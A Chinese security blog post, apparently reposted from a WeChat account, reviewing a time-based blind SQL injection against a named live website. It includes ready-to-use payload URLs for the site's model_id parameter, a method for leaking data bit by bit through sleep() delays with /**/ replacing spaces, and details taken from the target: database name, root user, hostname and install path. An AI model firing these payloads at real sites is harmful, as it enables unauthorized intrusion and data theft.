复盘某奇葩SQL时间延迟盲注(1)

原创
2021/05/26 11:56
阅读数 455


记一次当时不会,事后特别后悔,复盘奇葩SQL时间延迟盲注


Sleep()函数内置查询注入

Payload: if(now()=sysdate(),sleep(5),0)

漏洞验证:

https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate()%2Csleep(5)%2C0)

延迟了10


https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate()%2Csleep(6)%2C0)

延迟了12

https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate()%2Csleep(7)%2C0)

延迟了14

 

 


now()返回的时间是SQL语句执行的时间,无论在一次SQL语句中now()函数被执行多少次.即SQL开始执行的时间.

sysdate()返回的时间是函数执行的时间,

通过上面的payload测试可以延迟函数被执行了两次中执行了2次

获取当前数据库的库名长度

https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate(),sleep(length(database())),0)

8/2=4,所以当前数据库的库名长度为4个字符

获取数据库名ascii编码后第1位数值对其进行二进制编码的数值的长度为14/2=7(字符)

生成注入字典payload

中心思想是把执行结果通过substr()函数逐个字符进行切割,然后ascii编码成长度为2或3的阿拉伯数字,在进行bin()二进制编码在通过函数成长度为6到7,在把二进制编码后的字符串通过substr()函数逐个字符进行切割,通过Sleep()延迟函数执行0、1的方式向前台传递服务器信息。

当前数据库为deya

查看当前用户名为root@localhost

查看版本号

当时忘记加了判断特俗字符串和数字的判断

查看目标系统版本

Linuxzgli

查看主机名

ORAClEserve

获取数据库软件安装位置

/deya/cms/data/db/mysql

查表


利用条件是全部查询语句只能放在sleep()函数里面执行外带出来,且不能有空格。。。

问了好几个前辈都摇了摇头,结束之后本地靶机复盘测试,竟然查询成功

完整版exp如下:

用/**/规避空格执行报错问题

if numer == "0000000":

这行代码主要是判断字符是否为空

执行结果

主要就是递归枚举了这两个参数信息,来获取目标数据信息。

利用方式

把这个用for循环做个拼接,然后递归请求执行,执行响应的时间除以2,就可以得出结果。。。

结束

本文分享自微信公众号 - 黑白天实验室(li0981jing)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

展开阅读全文
加载中
点击引领话题📣 发布并加入讨论🔥
0 评论
0 收藏
0
分享
返回顶部
顶部